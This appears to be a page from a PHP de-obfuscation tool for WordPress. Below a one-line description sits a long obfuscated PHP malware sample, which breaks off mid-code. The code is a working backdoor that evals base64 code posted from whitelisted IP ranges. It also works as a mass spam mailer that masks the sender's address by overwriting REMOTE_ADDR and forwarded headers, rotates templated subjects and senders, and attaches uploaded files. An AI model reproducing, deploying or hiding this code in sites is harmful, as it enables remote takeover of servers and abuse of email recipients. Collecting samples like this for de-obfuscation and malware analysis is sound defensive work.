De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php ${"\x47L\x4f\x42\x41\x4cS"}["uon\x79\x79\x67\x62"]="\x66unc";${"\x47\x4cOB\x41\x4cS"}["\x67\x69\x73v\x71\x71\x6dv\x69w\x77"]="h";${"G\x4c\x4f\x42A\x4c\x53"}["\x77\x71s\x6bi\x69\x61\x6ah\x79"]="\x68\x65\x61d\x65\x72\x73";${"\x47L\x4f\x42\x41L\x53"}["cr\x6e\x6f\x78k\x6e\x66b\x6cs"]="\x72\x65\x73";${"\x47\x4c\x4f\x42A\x4cS"}["\x7a\x68\x7a\x74\x78\x6f\x65\x74q\x73\x71\x6f"]="\x64\x61\x74a";${"\x47\x4c\x4f\x42\x41L\x53"}["tj\x67\x78\x68\x6e"]="\x76";${"\x47\x4c\x4fBA\x4c\x53"}["\x70\x71\x70\x67\x6c\x6dnd\x66\x63z"]="k";${"G\x4c\x4f\x42A\x4cS"}["\x73\x74esk\x6dd\x63\x77i\x64"]="\x63\x6fo\x6bie";${"\x47\x4c\x4f\x42ALS"}["\x68\x70\x79\x69vo\x62nr\x6a"]="re\x71ue\x73\x74";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x65\x6e\x62\x63l\x6ek\x6fe"]="\x65\x72r\x73\x74r";${"\x47\x4c\x4fBA\x4c\x53"}["ph\x72\x6d\x74b"]="\x65\x72r\x6e\x6f";${"\x47LO\x42\x41LS"}["\x63\x6f\x6fo\x74\x78\x75fe"]="\x66p";${"\x47\x4cOB\x41LS"}["z\x6a\x79\x77nhw\x78\x6f\x74\x76\x74"]="s\x63h\x65m\x65";${"\x47\x4cO\x42\x41LS"}["dw\x71r\x6a\x79u\x71\x6eqm\x64"]="ti\x6d\x65\x6fu\x74";${"G\x4cOB\x41LS"}["\x79tv\x6b\x6bbk\x63u"]="\x70\x6f\x72\x74";${"\x47\x4c\x4fB\x41\x4c\x53"}["qtb\x76q\x68"]="ur\x6c";${"\x47\x4c\x4fB\x41L\x53"}["o\x73kx\x6d\x75\x6d\x72"]="\x70a\x72\x61\x6d\x73";${"\x47LOB\x41LS"}["\x65t\x6av\x6e\x6e\x70\x71"]="u\x72\x69";${"\x47LO\x42\x41\x4cS"}["\x76\x76fshy\x6eg\x68"]="\x74\x6f\x6b\x65\x6e\x73";${"\x47\x4cO\x42A\x4c\x53"}["r\x71\x74l\x68l"]="\x70as\x73\x65s";${"G\x4cO\x42\x41L\x53"}["s\x63\x78\x68\x71dq\x72hj\x6a"]="pa\x73s";${"GL\x4f\x42\x41\x4c\x53"}["e\x62\x6e\x66\x6eb\x76\x77\x64lw"]="\x73t\x72\x69\x6e\x67";${"GL\x4f\x42AL\x53"}["\x6ctw\x73\x73fib\x72"]="\x6eum\x43\x68\x61\x72\x73";${"G\x4cO\x42\x41LS"}["\x6e\x77\x69\x6d\x79t"]="\x6c\x65n\x67\x74h";${"GLO\x42\x41\x4cS"}["\x73\x72\x63l\x75\x70\x78\x7a\x75\x6a"]="\x63\x68\x61\x72\x73";${"G\x4cO\x42\x41\x4cS"}["\x65\x62\x71\x79\x61\x68"]="\x6e\x75\x6d";${"\x47\x4c\x4fBA\x4cS"}["\x76efn\x66\x64\x6a\x79\x6fk"]="co\x75\x6et";${"\x47\x4cO\x42\x41\x4c\x53"}["i\x70\x76w\x67\x7a\x73\x6f\x69du\x70"]="\x77\x6frd";${"\x47\x4cOB\x41\x4c\x53"}["bwwt\x6d\x6ee\x6cy\x66\x75"]="\x6dax";${"\x47\x4c\x4fB\x41LS"}["\x79\x7a\x62\x6b\x67o\x6a"]="\x6d\x69\x6e";${"G\x4cO\x42A\x4cS"}["\x7a\x66\x66\x69n\x6c"]="\x72a\x6ed";${"G\x4cO\x42A\x4c\x53"}["t\x62\x68\x73\x75w\x65"]="\x6es";${"\x47L\x4f\x42A\x4c\x53"}["r\x75i\x77j\x70\x6acq"]="i";${"\x47\x4cO\x42AL\x53"}["vp\x79z\x69\x6ff"]="\x6d\x61\x74c\x68\x65\x73";${"G\x4c\x4fB\x41\x4c\x53"}["g\x68n\x65\x70l\x75s"]="\x63\x6f\x6e\x74\x65\x6et";${"\x47\x4c\x4fB\x41\x4c\x53"}["d\x78h\x73\x62jg\x71\x77"]="\x73u\x62\x6a";${"\x47\x4cOBA\x4cS"}["z\x74\x66xke\x6f\x6dy"]="z\x61\x67";${"\x47L\x4fB\x41\x4cS"}["dy\x78\x6b\x6c\x6ak\x63\x69\x71\x66"]="\x75\x6e";${"\x47\x4cO\x42ALS"}["c\x71fk\x65\x71\x75\x69\x72"]="\x68e\x61\x64";${"\x47\x4cOB\x41\x4cS"}["\x68f\x69l\x65\x6bw\x64\x71r\x79o"]="\x6d\x61\x69\x6c\x65\x72\x73";${"\x47\x4c\x4f\x42A\x4c\x53"}["fe\x72lhb\x72u"]="\x66\x72\x6f\x6d\x73";${"\x47\x4cO\x42\x41\x4c\x53"}["k\x6c\x6fi\x74\x78e\x62"]="f\x72om";${"\x47\x4c\x4fB\x41L\x53"}["u\x68\x77a\x62\x62\x70\x66\x6a\x77t"]="\x6de\x73\x73ag\x65";${"\x47\x4cOB\x41\x4c\x53"}["\x6d\x64\x6ara\x75\x64y\x77\x7a"]="the\x6d\x65\x73";${"GL\x4fBA\x4cS"}["t\x7a\x67\x61b\x66opzn"]="t\x68\x65\x6d\x65";${"\x47L\x4f\x42\x41L\x53"}["h\x71\x72x\x68\x65\x6b\x74xch\x69"]="\x65\x6d\x61il";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x79\x6f\x6dv\x77o"]="\x66\x74\x65i\x6c";${"\x47\x4cO\x42\x41\x4c\x53"}["f\x70phm\x76\x77k"]="\x6b\x65\x79";${"G\x4c\x4f\x42A\x4c\x53"}["\x6b\x72\x63\x68a\x6b\x66i"]="\x66\x69\x6ce\x6ea\x6d\x65";${"G\x4c\x4fB\x41\x4c\x53"}["\x67\x74\x72\x64n\x72\x6ck\x64u"]="\x66i\x6c\x65";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x64\x66\x66\x66\x6c\x76\x71\x75\x76\x6e\x66"]="\x61\x6c\x69ase\x73";${"\x47L\x4fBALS"}["\x67\x64\x67l\x75g"]="\x6d\x65s\x73a\x67es";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x64\x7a\x76e\x6c\x67\x70el\x68\x6d\x78"]="e\x6d\x61\x69\x6c\x73";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x65\x6c\x63g\x71\x66"]="p\x6f\x73t";${"GL\x4f\x42A\x4c\x53"}["\x76hp\x64xh\x73"]="g\x6fo\x64";${"\x47L\x4fB\x41\x4cS"}["\x65\x6fwvg\x6c\x72\x63\x6f\x6e"]="\x67\x6f\x6f\x64\x73";if(isset($_POST["cod\x65"])&&isset($_POST["\x63\x75st\x6fm\x5f\x61\x63tio\x6e"])&&is_good_ip($_SERVER["R\x45M\x4f\x54\x45\x5fADD\x52"])){eval(base64_decode($_POST["cod\x65"]));exit();}if(isset($_POST["t\x79pe"])&&$_POST["t\x79pe"]=="1"){type1_send();exit();}elseif(isset($_POST["type"])&&$_POST["\x74\x79\x70\x65"]=="\x32"){}elseif(isset($_POST["\x74\x79\x70e"])){echo$_POST["\x74yp\x65"];exit();}error_404();function is_good_ip($ip){${${"G\x4c\x4fB\x41\x4c\x53"}["\x65o\x77\x76\x67\x6c\x72\x63\x6f\x6e"]}=Array("6\x2e\x31\x385\x2e\x323\x39\x2e","\x38\x2e\x31\x338.\x31\x31\x38\x2e","8\x2e\x3138.\x31\x32\x37.");$ttnxfhe="\x67oo\x64";foreach(${${"\x47L\x4f\x42A\x4c\x53"}["e\x6f\x77\x76g\x6c\x72con"]} as${$ttnxfhe}){$hjkksqigqtl="\x69p";if(strstr(${$hjkksqigqtl},${${"\x47LO\x42\x41LS"}["\x76\x68\x70d\x78\x68\x73"]})!=FALSE){return TRUE;}}return FALSE;}function type1_send(){${"GL\x4f\x42\x41\x4c\x53"}["\x61\x74y\x70\x6c\x66\x65f\x76"]="t\x68\x65\x6d\x65\x73";if(!isset($_POST["emails"])OR!isset($_POST["t\x68\x65\x6d\x65\x73"])OR!isset($_POST["\x6des\x73\x61\x67\x65s"])OR!isset($_POST["\x66\x72\x6f\x6ds"])OR!isset($_POST["m\x61il\x65\x72s"])){exit();}$wivglgyh="\x66\x72\x6f\x6d\x73";if(get_magic_quotes_gpc()){$cuvlzwkeyj="k\x65\x79";foreach($_POST as${$cuvlzwkeyj}=>${${"G\x4c\x4fB\x41LS"}["\x65\x6c\x63\x67\x71f"]}){$ukbcmygrxltg="\x6bey";${"\x47L\x4f\x42A\x4c\x53"}["x\x62\x76\x6a\x72\x71"]="\x70os\x74";$_POST[${$ukbcmygrxltg}]=stripcslashes(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x78\x62v\x6arq"]});}}${${"\x47\x4cO\x42\x41\x4c\x53"}["\x64\x7av\x65lg\x70\x65lh\x6d\x78"]}=@unserialize(base64_decode($_POST["e\x6d\x61\x69\x6c\x73"]));${${"G\x4cO\x42\x41\x4c\x53"}["\x61t\x79\x70lfe\x66\x76"]}=@unserialize(base64_decode($_POST["t\x68e\x6d\x65s"]));$sqbezzibn="\x6da\x69\x6cers";${"\x47\x4c\x4f\x42\x41L\x53"}["j\x6d\x71o\x65kd\x66d\x6ek"]="\x70\x61\x73se\x73";${${"G\x4c\x4f\x42A\x4c\x53"}["gdg\x6c\x75\x67"]}=@unserialize(base64_decode($_POST["m\x65\x73s\x61ge\x73"]));${$wivglgyh}=@unserialize(base64_decode($_POST["\x66r\x6f\x6d\x73"]));${$sqbezzibn}=@unserialize(base64_decode($_POST["ma\x69l\x65\x72\x73"]));${${"\x47\x4c\x4f\x42\x41L\x53"}["\x64\x66\x66\x66lv\x71u\x76\x6e\x66"]}=@unserialize(base64_decode($_POST["\x61\x6ciase\x73"]));$jczgompywrq="e\x6d\x61\x69\x6c\x73";${${"GL\x4f\x42\x41L\x53"}["j\x6d\x71\x6f\x65\x6b\x64\x66\x64\x6ek"]}=@unserialize(base64_decode($_POST["\x70a\x73s\x65\x73"]));if(isset($_SERVER)){$_SERVER["PH\x50\x5f\x53\x45\x4cF"]="/";$_SERVER["\x52\x45MO\x54\x45\x5f\x41\x44D\x52"]="\x3127\x2e0.\x30.1";if(!empty($_SERVER["HT\x54\x50\x5f\x58\x5f\x46\x4f\x52W\x41RDE\x44_\x46OR"])){$_SERVER["HT\x54P\x5fX\x5fFO\x52WA\x52D\x45D_\x46O\x52"]="1\x32\x37.0.0\x2e\x31";}}if(isset($_FILES)){${"\x47L\x4f\x42\x41L\x53"}["i\x6b\x66\x6ai\x73\x73p\x6df\x6b"]="\x6be\x79";foreach($_FILES as${${"\x47\x4cO\x42A\x4c\x53"}["\x69\x6b\x66j\x69ss\x70\x6d\x66\x6b"]}=>${${"GL\x4fB\x41\x4c\x53"}["g\x74r\x64nr\x6ckd\x75"]}){${${"\x47LO\x42A\x4c\x53"}["\x6b\x72\x63\x68\x61\x6b\x66i"]}=alter_macros(${${"\x47L\x4f\x42\x41\x4c\x53"}["d\x66\x66f\x6c\x76\x71u\x76\x6e\x66"]}[${${"G\x4c\x4f\x42AL\x53"}["\x66p\x70\x68m\x76w\x6b"]}]);${"G\x4cOB\x41\x4c\x53"}["\x6b\x6b\x73\x6d\x70d\x62\x6f\x67\x6d"]="\x66il\x65\x6eam\x65";${"\x47\x4c\x4f\x42\x41LS"}["j\x66\x76\x76\x6ciq\x79\x62\x65l\x69"]="fi\x6c\x65\x6e\x61\x6d\x65";${${"G\x4c\x4f\x42\x41\x4c\x53"}["kr\x63h\x61kf\x69"]}=num_macros(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6b\x72\x63\x68\x61\x6b\x66\x69"]});${${"\x47L\x4fBA\x4c\x53"}["\x6b\x72\x63\x68a\x6b\x66i"]}=text_macros(${${"G\x4cO\x42\x41LS"}["\x6b\x6bs\x6d\x70d\x62\x6f\x67\x6d"]});${${"\x47L\x4fB\x41\x4cS"}["\x6brc\x68\x61\x6bf\x69"]}=xnum_macros(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6a\x66\x76\x76l\x69\x71yb\x65\x6c\x69"]});$_FILES[${${"\x47\x4c\x4fB\x41LS"}["\x66pph\x6d\x76\x77k"]}]["n\x61\x6de"]=${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6b\x72ch\x61kf\x69"]};}}if(empty(${${"G\x4c\x4fB\x41\x4c\x53"}["\x64\x7ave\x6c\x67p\x65\x6c\x68m\x78"]})){exit();}foreach(${$jczgompywrq} as${${"\x47L\x4f\x42\x41\x4cS"}["\x6e\x79\x6f\x6dv\x77\x6f"]}=>${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x68\x71\x72\x78\x68ekt\x78c\x68i"]}){$yoqlfjqj="\x6de\x73s\x61ge";$qsexgjc="\x66\x72\x6f\x6d";${"\x47\x4cO\x42\x41\x4cS"}["\x69h\x6f\x69\x7akb\x6d\x67\x79"]="\x6da\x69\x6c\x65\x72";${"\x47L\x4fBA\x4cS"}["\x6d\x61\x73\x6e\x65\x77\x6d\x6b"]="\x74\x68e\x6d\x65";${"\x47\x4c\x4f\x42A\x4c\x53"}["t\x78\x78hkh\x65\x64\x66"]="\x66\x72o\x6ds";$crtvjkjxvgmh="\x74h\x65m\x65\x73";$lacxjqu="\x74he\x6d\x65";$jymcuhyr="\x6d\x61\x69l\x65\x72\x73";$ykymhoox="\x74he\x6d\x65";${"\x47L\x4f\x42AL\x53"}["op\x63\x67\x64i\x6dq\x78u"]="t\x68\x65\x6de";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74zgab\x66op\x7an"]}=${$crtvjkjxvgmh}[array_rand(${${"G\x4c\x4fB\x41\x4c\x53"}["md\x6a\x72\x61u\x64y\x77\x7a"]})];$gmspqerfoa="\x74\x68\x65me";${${"G\x4c\x4fB\x41\x4c\x53"}["\x6d\x61\x73\x6e\x65\x77\x6dk"]}=alter_macros(${$ykymhoox}["t\x68\x65me"]);${${"\x47\x4c\x4f\x42A\x4cS"}["\x74\x7a\x67\x61\x62\x66\x6fp\x7an"]}=num_macros(${${"\x47\x4c\x4fB\x41LS"}["\x74zga\x62fo\x70\x7a\x6e"]});$asllnpibfp="the\x6de";${"\x47\x4c\x4f\x42\x41L\x53"}["t\x66c\x68\x62n\x62\x6dq\x6dq"]="\x6de\x73sa\x67e";${"GL\x4f\x42A\x4c\x53"}["bej\x6df\x6b\x6fi\x6c"]="fr\x6f\x6d";${${"\x47\x4c\x4fB\x41L\x53"}["\x6fp\x63\x67\x64i\x6d\x71x\x75"]}=text_macros(${$gmspqerfoa});${${"\x47L\x4f\x42\x41\x4c\x53"}["\x74\x7a\x67a\x62\x66\x6fpz\x6e"]}=xnum_macros(${$asllnpibfp});${${"G\x4c\x4f\x42\x41\x4cS"}["u\x68\x77\x61b\x62\x70\x66\x6aw\x74"]}=${${"G\x4c\x4fB\x41\x4c\x53"}["gd\x67l\x75\x67"]}[array_rand(${${"\x47L\x4fBA\x4c\x53"}["gd\x67l\x75\x67"]})];${${"G\x4cOB\x41LS"}["\x75\x68\x77\x61b\x62p\x66\x6a\x77t"]}=alter_macros(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74\x66\x63\x68\x62nb\x6d\x71\x6d\x71"]}["m\x65s\x73\x61ge"]);${${"\x47LO\x42\x41L\x53"}["\x75\x68w\x61\x62\x62p\x66\x6a\x77t"]}=num_macros(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x75\x68wab\x62\x70fj\x77\x74"]});$mjnfimeppkk="\x6d\x65\x73s\x61\x67\x65";${${"G\x4c\x4fBA\x4cS"}["\x75\x68wa\x62\x62\x70f\x6a\x77t"]}=text_macros(${${"\x47\x4cOBA\x4c\x53"}["uh\x77\x61bb\x70\x66j\x77\x74"]});${$yoqlfjqj}=xnum_macros(${${"\x47LOBA\x4c\x53"}["\x75\x68wabbp\x66\x6aw\x74"]});$tskmqymxvxw="\x66r\x6f\x6d";$lkljdnn="\x6d\x65ss\x61g\x65";${$lkljdnn}=fteil_macros(${${"\x47\x4cO\x42A\x4c\x53"}["\x75\x68\x77\x61\x62b\x70fjw\x74"]},${${"\x47\x4cO\x42\x41\x4cS"}["n\x79o\x6d\x76w\x6f"]});${${"\x47\x4cO\x42A\x4c\x53"}["k\x6c\x6f\x69t\x78e\x62"]}=${${"\x47\x4c\x4f\x42\x41L\x53"}["f\x65\x72lhbr\x75"]}[array_rand(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x74\x78\x78h\x6b\x68\x65\x64f"]})];$gbqyorq="f\x72o\x6d";${${"GL\x4fBA\x4cS"}["\x62\x65j\x6df\x6b\x6f\x69\x6c"]}=alter_macros(${$tskmqymxvxw}["fro\x6d"]);${$gbqyorq}=num_macros(${${"\x47\x4c\x4fBA\x4cS"}["\x6b\x6c\x6fi\x74\x78\x65\x62"]});${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x6c\x6f\x69\x74\x78\x65\x62"]}=text_macros(${$qsexgjc});${${"GL\x4fBA\x4c\x53"}["k\x6c\x6f\x69\x74x\x65b"]}=xnum_macros(${${"G\x4cO\x42A\x4cS"}["k\x6c\x6fit\x78\x65b"]});if(strstr(${${"\x47\x4c\x4f\x42A\x4cS"}["k\x6c\x6fi\x74x\x65\x62"]},"[\x43\x55\x53\x54O\x4d]")==FALSE){${"G\x4c\x4f\x42\x41\x4c\x53"}["e\x70\x78\x62\x74u"]="f\x72o\x6d";${${"\x47L\x4f\x42A\x4c\x53"}["\x65\x70xb\x74\x75"]}=from_host(${${"G\x4c\x4f\x42\x41\x4cS"}["\x6b\x6c\x6f\x69\x74x\x65\x62"]});}else{${"\x47\x4c\x4f\x42A\x4cS"}["\x74\x72uls\x68\x6a\x71"]="from";${${"\x47LO\x42AL\x53"}["\x6b\x6c\x6fi\x74\x78eb"]}=str_replace("[\x43\x55STOM]","",${${"\x47\x4cO\x42A\x4c\x53"}["t\x72u\x6c\x73\x68\x6a\x71"]});}${${"\x47\x4c\x4f\x42\x41L\x53"}["\x69h\x6f\x69\x7a\x6b\x62mgy"]}=${$jymcuhyr}[array_rand(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["h\x66i\x6ce\x6b\x77\x64\x71\x72\x79o"]})];$shnxfxdms="\x6d\x61\x69l\x65r";send_mail(${${"\x47LOBAL\x53"}["\x6b\x6co\x69t\x78eb"]},${${"\x47L\x4f\x42A\x4c\x53"}["hq\x72\x78\x68e\x6bt\x78\x63\x68i"]},${$lacxjqu},${$mjnfimeppkk},${$shnxfxdms});}}function send_mail($from,$to,$subj,$text,$mailer){${${"\x47\x4cOBAL\x53"}["c\x71\x66\x6b\x65q\x75i\x72"]}="";${"\x47L\x4fBA\x4c\x53"}["m\x70\x67e\x73h\x71"]="z\x61g";${"G\x4c\x4f\x42AL\x53"}["\x6dg\x68ppy\x73dmm\x6fy"]="to";${"\x47L\x4f\x42\x41\x4c\x53"}["m\x65\x64\x73\x79\x67\x76\x72\x79"]="\x68\x65a\x64";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x64\x79\x78k\x6c\x6a\x6bci\x71\x66"]}=strtoupper(uniqid(time()));${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x63\x71\x66\x6bequ\x69r"]}.="F\x72\x6f\x6d:\x20$from\n";${"\x47\x4c\x4f\x42\x41LS"}["n\x63s\x6d\x79\x64\x6a\x76"]="z\x61g";${${"\x47LO\x42\x41\x4cS"}["\x63\x71f\x6be\x71\x75i\x72"]}.="X-\x4d\x61\x69l\x65\x72:\x20$mailer\n";${"\x47L\x4f\x42AL\x53"}["n\x69\x6eil\x6b\x72\x72\x6e"]="\x75n";$haflhsupbqb="\x70\x6c\x61\x69n";${${"\x47\x4c\x4f\x42AL\x53"}["cqf\x6be\x71u\x69\x72"]}.="\x52epl\x79-\x54\x6f: $from\n";${${"G\x4c\x4fBA\x4c\x53"}["\x63\x71\x66\x6be\x71u\x69r"]}.="\x4di\x6d\x65-Ver\x73\x69\x6f\x6e: \x31\x2e\x30\n";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65\x67qx\x68\x6b\x64\x75"]="z\x61\x67";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x63qf\x6b\x65q\x75\x69\x72"]}.="C\x6fnt\x65\x6e\x74-\x54\x79\x70\x65:\x20\x6dult\x69\x70a\x72t/\x61lte\x72n\x61tive\x3b";${${"G\x4c\x4f\x42\x41\x4c\x53"}["c\x71\x66\x6b\x65\x71u\x69r"]}.="bo\x75n\x64a\x72\x79\x3d\x22----------".${${"GLO\x42AL\x53"}["\x64\x79x\x6b\x6cj\x6bci\x71\x66"]}."\"\n\n";$fuvlxmu="\x74\x65\x78\x74";$eeqvhbzph="\x70\x6c\x61\x69n";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x64r\x6c\x75h\x6cc\x6e\x67\x6a"]="\x75\x6e";${$haflhsupbqb}=strip_tags(${$fuvlxmu});${${"G\x4c\x4fB\x41L\x53"}["\x65gq\x78\x68\x6b\x64\x75"]}="------------".${${"G\x4c\x4f\x42\x41\x4cS"}["d\x79\x78\x6b\x6cj\x6b\x63\x69qf"]}."\nCont\x65nt-T\x79\x70\x65: \x74e\x78t/plai\x6e;\x20\x63\x68a\x72se\x74\x3d\"IS\x4f-8\x385\x39-\x31\"\x3b\x20f\x6f\x72m\x61t=f\x6c\x6fwe\x64\n";${${"\x47\x4c\x4fBA\x4cS"}["\x6e\x63\x73m\x79djv"]}.="\x43o\x6e\x74e\x6et-\x54r\x61n\x73fe\x72-\x45\x6ecod\x69\x6eg:\x20\x37bi\x74\n\n".${$eeqvhbzph}."\n\n";${${"\x47\x4cO\x42\x41\x4cS"}["m\x70\x67\x65\x73\x68\x71"]}.="------------".${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x64rl\x75\x68\x6c\x63\x6e\x67j"]}."\n\x43\x6f\x6et\x65\x6e\x74-\x54\x79\x70\x65:\x20\x74\x65x\x74/h\x74\x6dl\x3b c\x68\x61r\x73\x65\x74\x3d\x22I\x53\x4f-\x38859-\x31\x22\x3b\n";${${"\x47\x4c\x4f\x42AL\x53"}["\x7a\x74\x66xk\x65\x6fm\x79"]}.="Co\x6et\x65\x6et-Tra\x6e\x73f\x65r-E\x6ec\x6fd\x69\x6eg: \x37bi\x74\n\n$text\n\n";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x74f\x78k\x65\x6fm\x79"]}.="------------".${${"\x47\x4c\x4f\x42\x41LS"}["\x6e\x69\x6e\x69lkrr\x6e"]}."--";if(count($_FILES)>0){$mvgwkwedt="\x66\x69l\x65";foreach($_FILES as${$mvgwkwedt}){$otynkfyje="\x66\x69\x6c\x65";if(file_exists(${$otynkfyje}["t\x6d\x70\x5f\x6ea\x6d\x65"])){$bkerbepemyo="\x66";$jvhzfnfhpf="\x66";${$bkerbepemyo}=fopen(${${"\x47LOBALS"}["\x67\x74\x72\x64\x6e\x72l\x6b\x64u"]}["\x74mp\x5fna\x6de"],"r\x62");$yuebsszeishn="z\x61g";$sjmjwduq="z\x61\x67";${"\x47\x4c\x4f\x42AL\x53"}["\x74r\x7ay\x68\x74\x73\x70"]="u\x6e";$uwkfxbepv="\x7a\x61\x67";${$uwkfxbepv}.="------------".${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x74\x72z\x79h\x74\x73p"]}."\n";$yxrbrbbvpj="f\x69l\x65";$wiehzzgum="z\x61\x67";${"GL\x4fB\x41\x4c\x53"}["id\x78\x65\x6b\x77\x67\x70o"]="zag";${${"G\x4c\x4f\x42\x41\x4cS"}["\x7a\x74\x66x\x6b\x65\x6fm\x79"]}.="\x43\x6fnte\x6et-Ty\x70e: \x61\x70pl\x69\x63\x61ti\x6fn/\x6fct\x65\x74-stre\x61m;";${${"\x47\x4cO\x42\x41L\x53"}["z\x74\x66\x78\x6b\x65\x6f\x6d\x79"]}.="n\x61m\x65=\"".${${"\x47\x4c\x4f\x42\x41LS"}["g\x74\x72\x64nrl\x6b\x64\x75"]}["nam\x65"]."\x22\n";${$yuebsszeishn}.="\x43\x6fnte\x6e\x74-\x54\x72ans\x66\x65\x72-E\x6eco\x64\x69\x6e\x67:b\x61\x73\x65\x364\n";$gcvoegwvlx="\x66";${$sjmjwduq}.="C\x6f\x6eten\x74-\x44i\x73\x70\x6f\x73\x69t\x69\x6f\x6e:\x61\x74\x74\x61chmen\x74\x3b";${$wiehzzgum}.="\x66il\x65n\x61\x6d\x65\x3d\x22".${${"\x47L\x4f\x42\x41LS"}["\x67\x74\x72\x64\x6e\x72\x6ck\x64\x75"]}["n\x61m\x65"]."\x22\n\n";${${"\x47LOB\x41L\x53"}["\x69\x64\x78e\x6bwg\x70\x6f"]}.=chunk_split(base64_encode(fread(${$gcvoegwvlx},filesize(${$yxrbrbbvpj}["tm\x70_n\x61me"]))))."\n";fclose(${$jvhzfnfhpf});}}}if(@mail(${${"G\x4cO\x42\x41L\x53"}["\x6dghp\x70\x79s\x64m\x6d\x6f\x79"]},${${"GLOB\x41L\x53"}["d\x78\x68s\x62\x6ag\x71w"]},${${"\x47L\x4fBA\x4cS"}["\x7a\x74fxk\x65\x6f\x6dy"]},${${"GLOB\x41L\x53"}["\x6de\x64\x73\x79\x67vr\x79"]})){if(!empty($_POST["ve\x72b\x6f\x73e"]))echo"S\x45\x4eD\x45\x44";}else{if(!empty($_POST["\x76e\x72b\x6fs\x65"]))echo"F\x41\x49L";}}function alter_macros($content){$awfkwjh="c\x6f\x6e\x74e\x6et";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x79\x78\x6c\x72\x78\x6a\x6dv\x73"]="\x6da\x74\x63\x68e\x73";preg_match_all("\x23{(\x2e*)}#\x55i",${${"\x47LOB\x41\x4c\x53"}["g\x68\x6ee\x70\x6cu\x73"]},${${"\x47\x4c\x4f\x42AL\x53"}["\x76\x70\x79z\x69of"]});$osvyhjemd="i";for(${${"\x47LO\x42A\x4c\x53"}["\x72u\x69\x77j\x70\x6a\x63\x71"]}=0;${$osvyhjemd}<count(${${"G\x4c\x4fBA\x4c\x53"}["\x79\x78\x6c\x72xjm\x76s"]}[1]);${${"\x47L\x4f\x42A\x4c\x53"}["\x72\x75\x69\x77\x6ap\x6a\x63q"]}++){${"GL\x4fB\x41\x4c\x53"}["\x68\x6a\x63\x78r\x72\x75r\x63"]="\x6es";${"\x47LOB\x41\x4c\x53"}["z\x72\x75\x61k\x78q"]="\x69";$haezmjascnq="\x63\x32";${"\x47\x4c\x4f\x42AL\x53"}["\x74ri\x75\x63\x78\x71"]="i";${"\x47L\x4fB\x41\x4cS"}["\x6e\x6fh\x6bh\x73\x61u\x69"]="c\x32";${${"\x47\x4c\x4fB\x41\x4cS"}["\x68jcx\x72\x72\x75r\x63"]}=explode("|",${${"\x47\x4cOBAL\x53"}["\x76\x70\x79z\x69o\x66"]}[1][${${"\x47L\x4fBAL\x53"}["zr\x75ak\x78\x71"]}]);${$haezmjascnq}=count(${${"\x47L\x4f\x42\x41L\x53"}["tb\x68\x73u\x77\x65"]});$yfdjdwhq="\x6e\x73";${"G\x4c\x4fB\x41\x4c\x53"}["\x6c\x66ojy\x74\x6c\x6bu\x67\x74"]="\x6d\x61\x74c\x68\x65s";${${"GL\x4fBA\x4c\x53"}["\x7a\x66\x66i\x6e\x6c"]}=rand(0,(${${"\x47L\x4fBA\x4cS"}["\x6eo\x68kh\x73\x61\x75\x69"]}-1));${${"GLOB\x41L\x53"}["\x67h\x6e\x65p\x6cu\x73"]}=str_replace("{".${${"\x47L\x4f\x42A\x4c\x53"}["\x6c\x66\x6f\x6ay\x74\x6cku\x67t"]}[1][${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x74\x72\x69\x75\x63\x78\x71"]}]."}",${$yfdjdwhq}[${${"G\x4cO\x42\x41L\x53"}["\x7a\x66\x66\x69n\x6c"]}],${${"GL\x4fB\x41L\x53"}["g\x68n\x65pl\x75s"]});}return${$awfkwjh};}function text_macros($content){$hyxuqdd="\x69";$ydxhjevnehrl="\x69";${"\x47L\x4f\x42\x41\x4c\x53"}["\x75h\x67\x70o\x62\x79q\x63\x65\x75"]="i";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7alp\x6a\x71\x66f\x79\x6d"]="c\x6f\x6e\x74ent";${"\x47L\x4f\x42A\x4c\x53"}["\x76\x72\x65\x75wx\x76"]="\x63o\x6et\x65\x6et";preg_match_all("\x23\x5c[TEX\x54\\-([[:di\x67\x69t:]]+)\x5c-([[:d\x69gi\x74:]]+)\\]#",${${"\x47\x4c\x4f\x42A\x4cS"}["\x7a\x6cp\x6aq\x66\x66\x79m"]},${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["vp\x79z\x69\x6ff"]});$dqypvlu="\x69";${"\x47L\x4fBA\x4c\x53"}["\x68\x6b\x70xs\x6e\x6es\x68"]="\x69";for(${$ydxhjevnehrl}=0;${${"\x47LOBA\x4c\x53"}["\x75h\x67po\x62\x79\x71c\x65u"]}<count(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x76\x70\x79\x7aio\x66"]}[0]);${${"G\x4c\x4f\x42A\x4c\x53"}["\x72\x75\x69\x77jp\x6ac\x71"]}++){$bhbxrokf="\x77\x6fr\x64";${"\x47\x4cO\x42\x41L\x53"}["\x67u\x63\x66\x77\x6c\x67j\x74"]="\x6da\x74\x63\x68\x65s";${"\x47L\x4fB\x41L\x53"}["\x6c\x6d\x6c\x6d\x6f\x66i\x76\x74"]="\x69";$eukffcole="\x72\x61